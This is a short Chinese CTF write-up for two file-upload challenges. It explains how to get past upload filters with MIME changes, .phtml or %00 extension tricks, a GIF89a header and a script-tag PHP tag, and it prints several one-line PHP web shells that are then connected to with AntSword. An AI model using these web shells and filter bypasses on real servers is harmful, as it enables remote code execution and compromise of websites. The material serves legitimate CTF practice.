第4天(共两题)
Web
[极客大挑战 2019]Upload
这是文件上传的题目,有一篇比较详细的有关文件上传的绕过方法文件上传漏洞详解(CTF篇)
首先直接上传带一句话木马的php文件,发现被拦截,提示不是图片,先修改MIME,可以看到有效果但是网站能够发现这是php文件
这里用到的是文件后缀名绕过,这道题的题解一般使用phtml后缀,经过测试%00截断也是可以的(其他的后缀还有php,php3,php4,php5,phtml.pht)
结果网站提示它还能发现这不是图片,考虑添加图片文件头,其他题解用的是GIF89a,我使用的是在png文件里添加一句话木马
GIF89a示例:
GIF89a
<script language="php">eval($_POST['shell']);</script>
我的示例:
发送后网站又提示不能包含<?,但是可以用js脚本绕过 把`<?php @eval(system($_POST["cmd"]));?>`换成
<script language="php">eval($_POST['shell']);</script>
文件上传成功,利用蚁剑连接网站目录下的upload/upload.php,成功拿到flag
[ACTF2020 新生赛]Upload
这道题和上一道题极为相似,这里先把鼠标移到对灯泡这里发现上传文件的提示,下面是解题步骤:
- 上传普通的png文件
- 利用BP抓包在png文件上传内容中插入
<?php eval($_POST['cmd']) ?>
- 修改文件后缀名为.phtml
- 得到返回的文件上传目录(网站会重命名文件)
- 利用蚁剑连接
最终打开终端拿到flag